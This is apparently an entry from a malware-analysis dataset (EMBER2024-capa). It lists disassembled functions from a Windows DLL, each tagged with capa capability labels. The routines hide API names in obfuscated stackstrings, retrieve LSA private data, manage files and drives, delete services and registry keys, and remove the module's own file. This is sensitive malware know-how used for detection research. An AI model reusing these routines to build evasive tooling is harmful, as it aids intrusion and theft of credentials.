joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100046d0
Capabilities:
Contain obfuscated stackstrings
Get user security identifier

Disassembly:
sub esp, 0x238
mov eax, pe_nt_image_headers32
mov dword [esp + 0x30], eax
mov dword [esp + 0x2c], eax
mov eax, dword [ecx + 0x14]
test eax, eax
jne 0x100046f1
add esp, 0x238
ret
lea ecx, [esp + 0x34]
lea edx, [esp + 0x2c]
push ecx
lea ecx, [esp + 0x13c]
push edx
push ecx
lea edx, [esp + 0x3c]
lea ecx, [esp + 0x44]
push edx
push ecx
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
jne 0x10004721
add esp, 0x238
ret
lea edx, [esp + 0x38]
push edx
call dword [sym.imp.ADVAPI32.dll_IsValidSid]
test eax, eax
jne 0x10004737
add esp, 0x238
ret
mov al, 0x61
push ebx
mov byte [esp + 4], al
mov byte [esp + 7], al
mov al, 0x6c
push esi
mov byte [esp + 0x12], al
mov byte [esp + 0x13], al
lea eax, [esp + 8]
mov bl, 0x69
push eax
mov byte [esp + 0xd], 0x64
mov byte [esp + 0xe], 0x76
mov byte [esp + 0x10], 0x70
mov byte [esp + 0x11], bl
mov byte [esp + 0x12], 0x33
mov byte [esp + 0x13], 0x32
mov byte [esp + 0x14], 0x2e
mov byte [esp + 0x15], 0x64
mov byte [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov cl, 0x74
mov esi, eax
mov byte [esp + 0x1e], cl
mov byte [esp + 0x25], cl
lea ecx, [esp + 0x18]
mov dl, 0x72
mov al, 0x53
push ecx
push esi
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], 0x6f
mov byte [esp + 0x22], 0x6e
mov byte [esp + 0x23], 0x76
mov byte [esp + 0x24], 0x65
mov byte [esp + 0x25], dl
mov byte [esp + 0x27], al
mov byte [esp + 0x28], bl
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2a], 0x54
mov byte [esp + 0x2b], 0x6f
mov byte [esp + 0x2c], al
mov byte [esp + 0x2e], dl
mov byte [esp + 0x2f], bl
mov byte [esp + 0x30], 0x6e
mov byte [esp + 0x31], 0x67
mov byte [esp + 0x32], al
mov byte [esp + 0x33], bl
mov byte [esp + 0x34], 0x64
mov byte [esp + 0x35], 0x41
mov byte [esp + 0x36], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10004813
lea edx, [esp + 0x30]
lea ecx, [esp + 0x40]
push edx
push ecx
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [esp + 0x30]
pop esi
pop ebx
add esp, 0x238
ret
Function at 0x100048f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x68
push ebx
mov al, 0x64
push ebp
mov ebp, ecx
mov byte [esp + 0x31], al
mov byte [esp + 0x39], al
mov al, 0x74
mov cl, 0x69
mov byte [esp + 0x45], al
mov byte [esp + 0x50], al
mov byte [esp + 0x54], al
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov byte [esp + 0x39], cl
mov byte [esp + 0x4b], cl
mov byte [esp + 0x51], cl
lea eax, [esp + 0x44]
push edi
lea ecx, [esp + 0x38]
mov bl, 0x61
mov dl, 0x76
push eax
push ecx
mov byte [esp + 0x40], bl
mov byte [esp + 0x42], dl
mov byte [esp + 0x43], bl
mov byte [esp + 0x44], 0x70
mov byte [esp + 0x46], 0x33
mov byte [esp + 0x47], 0x32
mov byte [esp + 0x48], 0x2e
mov byte [esp + 0x4a], 0x6c
mov byte [esp + 0x4b], 0x6c
mov byte [esp + 0x4c], 0
mov byte [esp + 0x50], 0x4c
mov byte [esp + 0x51], 0x73
mov byte [esp + 0x52], bl
mov byte [esp + 0x53], 0x52
mov byte [esp + 0x54], 0x65
mov byte [esp + 0x56], 0x72
mov byte [esp + 0x58], 0x65
mov byte [esp + 0x59], dl
mov byte [esp + 0x5a], 0x65
mov byte [esp + 0x5b], 0x50
mov byte [esp + 0x5c], 0x72
mov byte [esp + 0x5e], dl
mov byte [esp + 0x5f], bl
mov byte [esp + 0x61], 0x65
mov byte [esp + 0x62], 0x44
mov byte [esp + 0x63], bl
mov byte [esp + 0x65], bl
mov byte [esp + 0x66], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [esp + 0x18], eax
lea edx, [esp + 0x2c]
lea eax, [esp + 0x38]
push edx
push eax
mov byte [esp + 0x34], 0x4c
mov byte [esp + 0x35], 0x73
mov byte [esp + 0x36], bl
mov byte [esp + 0x37], 0x43
mov byte [esp + 0x38], 0x6c
mov byte [esp + 0x39], 0x6f
mov byte [esp + 0x3a], 0x73
mov byte [esp + 0x3b], 0x65
mov byte [esp + 0x3c], 0
call esi
push eax
call edi
lea ecx, [esp + 0x24]
mov esi, eax
mov dword [esp + 0x10], ecx
mov ecx, 6
xor eax, eax
lea edi, [esp + 0x60]
lea edx, [esp + 0x14]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x64]
push 4
push eax
push 0
call sub.ADVAPI32.dll_LsaOpenPolicy
test eax, eax
je 0x10004a3a
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x68
ret 4
mov edx, dword [esp + 0x7c]
lea ecx, [esp + 0x1c]
push ecx
push edx
mov ecx, ebp
call fcn.10004830
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x10]
push edx
mov word [eax], 0x500
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x20]
mov word [ecx + 2], 0x500
mov ecx, dword [esp + 0x18]
push eax
push ecx
call dword [esp + 0x24]
mov edx, dword [esp + 0x20]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esp + 0x18]
add esp, 4
push eax
call esi
mov ecx, dword [esp + 0x10]
pop edi
neg eax
sbb eax, eax
pop esi
not eax
pop ebp
and eax, ecx
pop ebx
add esp, 0x68
ret 4
Function at 0x10005c00
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001b468
push 0x10019a80
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push str.lstrlenA
push str.KERNEL32.dll
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call esi
push eax
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call ebx
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp + 8]
push ecx
call eax
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x10005d88
push str.lstrcpyA
push str.KERNEL32.dll
call esi
push eax
call ebx
mov dword [ebp - 0x28], eax
mov edx, dword [ebp + 8]
push edx
push edi
call eax
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x10005cd7
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x10005cd7
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10005cb2
cmp al, 0x5c
je 0x10005cb2
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x10005c9a
cmp byte [esi], 0
je 0x10005cbb
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10005cd0
cmp al, 0x5c
je 0x10005cd0
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x10005cb8
cmp byte [esi], 0
je 0x10005cf6
jmp 0x10005cf2
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x10005cf6
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10005cf6
cmp al, 0x5c
jne 0x10005cf6
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov al, byte [esi]
test al, al
je 0x10005d4c
cmp al, 0x5c
jne 0x10005d3e
mov byte [esi], 0
push edi
call ebx
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x10005d31
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x10005d3b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x10005d3b
push edi
jmp 0x10005d7f
and eax, 0x10
cmp al, 0x10
je 0x10005d3b
push edi
jmp 0x10005d7f
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x10005cfc
mov dword [ebp - 4], 0xffffffff
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10005db0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x358
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.lstrcpyA
push str.KERNEL32.dll
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.RegQueryValueA
push str.ADVAPI32.dll
mov dword [esp + 0x20], eax
call esi
push eax
call ebx
mov ebp, eax
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x70]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
push 0x2e
push eax
mov dword [esp + 0x1c], 0x104
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
test eax, eax
jne 0x10005e25
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x358
ret 8
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push eax
push accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10005e50
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x358
ret 8
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x14]
lea eax, [esp + 0x70]
push edx
push eax
push 0
push ecx
call ebp
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x7d
xor eax, eax
lea edi, [esp + 0x174]
push str.wsprintfA
rep stosd dword es:[edi], eax
push str.USER32.dll
call esi
push eax
call ebx
lea ecx, [esp + 0x70]
lea edx, [esp + 0x174]
push ecx
push str._s_shellopencommand
push edx
call eax
add esp, 0xc
lea eax, [esp + 0x10]
lea ecx, [esp + 0x174]
push eax
push 0xf003f
push 0
push ecx
push accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10005ed6
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x358
ret 8
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x70]
lea edx, [esp + 0x14]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x70]
push edx
push eax
push 0
push ecx
mov dword [esp + 0x24], 0x104
call ebp
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea eax, [esp + 0x70]
push 0x1001f504
push eax
call esi
add esp, 8
test eax, eax
jne 0x10005f58
lea ecx, [esp + 0x70]
push 0x1001f500
push ecx
call esi
add esp, 8
test eax, eax
jne 0x10005f58
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x70]
push 0x1001f4fc
push edx
call esi
mov eax, dword [esp + 0x36c]
lea ecx, [esp + 0x70]
push eax
push ecx
call esi
jmp 0x10005f65
mov edx, dword [esp + 0x36c]
push edx
push eax
call dword [esp + 0x20]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x30]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x370]
mov dword [esp + 0x2c], 0x44
test eax, eax
je 0x10005f8d
mov dword [esp + 0x34], str.WinSta0Default
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x2c]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0x8c]
push 0
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x358
ret 8
Function at 0x10005fc0
Capabilities:
Get disk information
Get disk size
Get file system object information

Disassembly:
sub esp, 0x788
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.lstrlenA
mov dword [esp + 0x34], ecx
push str.KERNEL32.dll
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov esi, eax
push str.GetLogicalDriveStringsA
push str.KERNEL32.dll
mov dword [esp + 0x20], esi
call edi
push eax
call ebx
lea ecx, [esp + 0x138]
mov byte [esp + 0x398], 0x67
push ecx
push pe_nt_image_headers32
call eax
mov al, byte [esp + 0x138]
xor edx, edx
test al, al
lea ebp, [esp + 0x138]
mov dword [esp + 0x1c], edx
mov dword [esp + 0x20], edx
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], edx
mov ebx, 1
je 0x10006183
jmp 0x1000604a
mov esi, dword [esp + 0x18]
xor edx, edx
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x34]
push 0x104
rep stosd dword es:[edi], eax
lea eax, [esp + 0x38]
push eax
push edx
push edx
push edx
push edx
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
lea ecx, [esp + 0x23c]
push 0x160
push ecx
push 0x80
push ebp
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
lea edx, [esp + 0x348]
push edx
call esi
mov edi, eax
lea eax, [esp + 0x34]
inc edi
push eax
mov dword [esp + 0x30], edi
call esi
inc eax
mov dword [esp + 0x10], eax
mov al, byte [ebp]
cmp al, 0x41
je 0x100060f6
cmp al, 0x42
je 0x100060f6
lea ecx, [esp + 0x1c]
push 0
lea edx, [esp + 0x28]
push ecx
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x100060f6
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
mov ecx, 0x14
call fcn.10019a90
mov edx, dword [esp + 0x28]
mov esi, eax
mov eax, dword [esp + 0x24]
mov ecx, 0x14
call fcn.10019a90
mov dword [esp + 0x14], eax
jmp 0x100060fc
xor esi, esi
mov dword [esp + 0x14], esi
mov al, byte [ebp]
push ebp
mov byte [esp + ebx + 0x39c], al
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ecx, dword [esp + 0x14]
mov byte [esp + ebx + 0x399], al
mov dword [esp + ebx + 0x39a], esi
mov dword [esp + ebx + 0x39e], ecx
mov ecx, edi
lea esi, [esp + 0x348]
mov edx, ecx
lea edi, [esp + ebx + 0x3a2]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x2c]
mov ecx, edx
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x14]
lea edx, [eax + ebx]
lea esi, [esp + 0x38]
lea edi, [esp + edx + 0x3a6]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
add ecx, eax
lea ebx, [ebx + ecx + 0xa]
call dword [esp + 0x1c]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x10006044
mov ecx, dword [esp + 0x30]
lea edx, [esp + 0x398]
push ebx
push edx
call fcn.1000be20
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x788
ret
Function at 0x100063e0
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x44c
push ebx
push ebp
push esi
push edi
push str.wsprintfA
mov ebp, ecx
push str.USER32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [esp + 0x460]
mov esi, eax
push edi
lea eax, [esp + 0x35c]
push str._s.
push eax
call esi
add esp, 0xc
lea ecx, [esp + 0x10]
lea edx, [esp + 0x358]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10006448
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x44c
ret 4
cmp byte [esp + 0x3c], 0x2e
je 0x1000649a
test byte [esp + 0x10], 0x10
lea eax, [esp + 0x3c]
push eax
push edi
push 0x1001f3e0
je 0x1000647f
lea ecx, [esp + 0x15c]
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0x150]
mov ecx, ebp
push edx
call fcn.100063e0
jmp 0x1000649a
lea ecx, [esp + 0x260]
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0x254]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10006448
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
pop edi
pop esi
test eax, eax
pop ebp
pop ebx
setne al
add esp, 0x44c
ret 4
Function at 0x100064d0
Capabilities:
Get file size

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, ecx
push str.lstrlenA
push str.KERNEL32.dll
mov dword [esp + 0x20], esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.LocalAlloc
push str.KERNEL32.dll
mov dword [esp + 0x18], eax
call edi
push eax
call ebx
lea edx, [esi + 0x20]
mov ebx, eax
mov ebp, dword [esp + 0x20]
mov ecx, 0x41
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x80
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 3
push 0
and ecx, 3
push 1
push accept
rep movsb byte es:[edi], byte [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10006568
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret 4
lea ecx, [esp + 0x14]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call dword [esp + 0x14]
mov ebp, eax
add ebp, 0xa
push ebp
push 0x40
call ebx
mov ecx, ebp
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov byte [ebx], 0x69
mov eax, dword [esp + 0x14]
mov dword [ebx + 5], esi
mov esi, dword [esp + 0x20]
push esi
mov dword [ebx + 1], eax
call dword [esp + 0x14]
mov ecx, eax
lea edi, [ebx + 9]
inc ecx
push str.LocalFree
mov edx, ecx
push str.KERNEL32.dll
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x18]
push ebp
push ebx
mov esi, eax
call fcn.1000be20
push ebx
mov edi, eax
call esi
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 4
Function at 0x10006610
Capabilities:
Read file on windows

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.LocalAlloc
mov ebp, ecx
push str.KERNEL32.dll
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.SetFilePointer
push str.KERNEL32.dll
mov esi, eax
call edi
push eax
call ebx
mov edi, dword [esp + 0x1c]
mov dword [esp + 0x14], eax
cmp dword [edi + 4], 0xffffffff
jne 0x10006666
mov ecx, ebp
call fcn.10006730
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret 4
push 0
push 0x80
push 3
push 0
push 1
lea eax, [ebp + 0x20]
push accept
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10006695
pop edi
pop esi
pop ebp
or eax, eax
pop ebx
add esp, 8
ret 4
mov ecx, dword [edi + 4]
push 0
push edi
push ecx
push ebx
call dword [esp + 0x24]
push 0x2000
push 0x40
mov dword [esp + 0x18], 0
call esi
mov esi, eax
lea ecx, [esp + 0x10]
push 0
push ecx
mov byte [esi], 0x6a
mov edx, dword [edi]
mov dword [esi + 1], edx
mov eax, dword [edi + 4]
lea edx, [esi + 9]
push 0x1ff7
push edx
push ebx
mov dword [esi + 5], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x100066f8
add eax, 9
mov ecx, ebp
push eax
push esi
call fcn.1000be20
mov edi, eax
jmp 0x10006703
mov ecx, ebp
call fcn.10006730
mov edi, dword [esp + 0x1c]
push str.LocalFree
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
call eax
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 4
Function at 0x10006df0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x18
push ebx
push ebp
push esi
push edi
push str.SetFilePointer
mov edi, ecx
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, dword [esp + 0x2c]
push 0
push 0x80
push 3
mov ebp, dword [ebx + 4]
push 0
mov dword [esp + 0x24], eax
mov eax, dword [ebx]
push 2
lea ecx, [edi + 0x20]
push 0x40000000
push ecx
mov dword [esp + 0x2c], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x10]
push 0
mov esi, eax
push edx
push ebp
push esi
call dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
lea eax, [esp + 0x18]
push 0
add ecx, 0xfffffff8
push eax
add ebx, 8
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x1c]
push 9
add eax, ebp
push ecx
mov ecx, edi
mov byte [esp + 0x24], 0x70
mov dword [esp + 0x25], edx
mov dword [esp + 0x29], eax
call fcn.1000be20
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret 8

Function at 0x10006ee0
Capabilities:
Move file

Disassembly:
push esi
push edi
push str.lstrlenA
mov edi, ecx
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0xc]
push esi
call eax
lea eax, [eax + esi + 1]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x71
mov ecx, edi
call fcn.100067a0
pop edi
pop esi
ret 4
Function at 0x100071b0
Capabilities:
Delete registry key
Query service status

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001b478
push 0x10019a80
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x544
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x540], eax
mov dword [ebp - 0x13c], eax
mov dword [ebp - 4], eax
push str.OpenServiceA
push str.ADVAPI32.dll
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call ebx
push eax
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov edi, eax
mov dword [ebp - 0x544], edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x13c], eax
push 0xf01ff
mov ecx, dword [ebp + 8]
push ecx
push eax
call edi
mov edi, eax
mov dword [ebp - 0x540], edi
mov eax, dword [ebp - 0x13c]
test eax, eax
jne 0x10007245
test edi, edi
je 0x100072ff
lea edx, [ebp - 0x138]
push edx
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x100072ff
cmp dword [ebp - 0x134], 1
je 0x10007294
push str.ControlService
push str.ADVAPI32.dll
call ebx
push eax
call esi
mov dword [ebp - 0x550], eax
lea ecx, [ebp - 0x138]
push ecx
push 1
push edi
call eax
test eax, eax
je 0x100072ff
push 0x320
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.DeleteService
push str.ADVAPI32.dll
call ebx
push eax
call esi
mov dword [ebp - 0x54c], eax
push edi
call eax
push str.wsprintfA
push str.USER32.dll
call ebx
push eax
call esi
mov edx, eax
mov dword [ebp - 0x548], edx
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x53c]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
push eax
push str.SYSTEMCurrentControlSetServices_s
lea ecx, [ebp - 0x53c]
push ecx
call edx
add esp, 0xc
lea edx, [ebp - 0x53c]
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov edi, dword [ebp - 0x540]
mov dword [ebp - 4], 0xffffffff
call fcn.1000732e
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007360
Capabilities:
Delete file

Disassembly:
sub esp, 0x504
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.wsprintfA
push str.USER32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.lstrlenA
push str.KERNEL32.dll
mov ebx, eax
call esi
push eax
call edi
mov esi, eax
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x514]
lea ecx, [esp + 0x110]
push eax
push str.SYSTEMCurrentControlSetServices_s
push ecx
call ebx
add esp, 0xc
lea edx, [esp + 0xc]
push 0
push edx
call esi
push eax
lea eax, [esp + 0x14]
push 0
push eax
push 1
lea ecx, [esp + 0x124]
push str.Load_Path
push ecx
push reloc.WS2_32.dll_bind
call fcn.1000bef0
push 3
push 0
push 0
push 1
lea edx, [esp + 0x140]
push str.Load_Path
push edx
push reloc.WS2_32.dll_bind
call fcn.1000c460
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x3c
xor esi, esi
push 0xbb8
call edi
lea eax, [esp + 0xc]
push eax
call ebx
test eax, eax
jne 0x10007430
inc esi
cmp esi, 0x19
jl 0x10007418
pop edi
pop esi
pop ebx
add esp, 0x504
ret

Function at 0x100074a0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x108
mov ecx, dword [esp + 0x10c]
push esi
push edi
lea eax, [esp + 0xc]
push 0x104
push eax
push ecx
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 3
push 0
push 1
lea edx, [esp + 0x20]
push accept
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100074f4
pop edi
xor eax, eax
pop esi
add esp, 0x108
ret
push str.SetFilePointer
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 2
push 0
push 0xfffffc00
push esi
call eax
push 0x400
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
lea eax, [esp + 8]
push 0
push eax
push 0x400
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x118]
push 0
push 0x400
push ecx
push edi
call fcn.10007440
add esp, 0x10
cmp eax, 0xffffffff
jne 0x10007572
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
pop edi
pop esi
add esp, 0x108
ret
add eax, edi
pop edi
pop esi
add esp, 0x108
ret